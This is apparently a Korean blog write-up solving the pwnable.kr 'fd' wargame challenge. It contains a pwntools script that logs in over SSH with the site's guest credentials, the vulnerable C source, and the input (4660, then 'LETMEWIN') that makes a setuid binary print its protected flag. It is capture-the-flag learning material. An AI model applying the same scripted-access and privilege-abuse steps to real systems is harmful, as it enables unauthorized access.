from pwn import *
''' 이런 식으로 원격접속하거나
p = ssh(user="mistake",host="pwnable.kr", port=2222,password="guest")
p1 = p.process(executable="/home/mistake/mistake")
이후 p1 사용
'''
''' 이런 식으로도 하거나
readme에 connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
이런식으로 써져있어서
s = ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest')
p = s.remote("127.0.0.1",9032)
'''
s = ssh(user='fd', host='pwnable.kr', port=2222, password='guest')
argv1 = ["" for i in range(2)] # argc=2
# argv[0] 정의하면 파일 이름(원래 argv[0] 값) 덮어쓸 수 있음
argv1[1] = '4660'
p = s.process(executable="/home/fd/fd", argv=argv1)
p.sendline("LETMEWIN")
p.interactive()
ssh 접속해보면 fd@pwnable 위치, ls 하면 fd, fd.c, flag 파일 있음
cat flag 하니까 permission denied
ls -al 결과 -r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
others에겐 아무런 권한 x
./fd의 소유주는 fd_pwn이고, setuid 걸려있으므로 flag읽을수있음!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
main 함수 argv[0]은 파일명 자동 저장
argv[1]로 적당한 숫자 줘서 fd 0으로 만들어 buf에 제대로 read 하게
fd 0 stdin, 1 stdout, 2 stderr
atoi 함수는 const char* -> int
<exploit>
./fd 4660
LETMEWIN\n
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Toddler's Bottle] horcruxes (0) | 2023.02.05 |
---|---|
pwnable.kr - [Toddler's Bottle] flag (0) | 2023.02.05 |
pwnable.kr - [Toddler's Bottle] col (0) | 2023.02.05 |
pwnable.kr - [Toddler's Bottle] coin1 (0) | 2023.02.05 |
pwnable.kr - [Toddler's Bottle] cmd2 (0) | 2023.02.05 |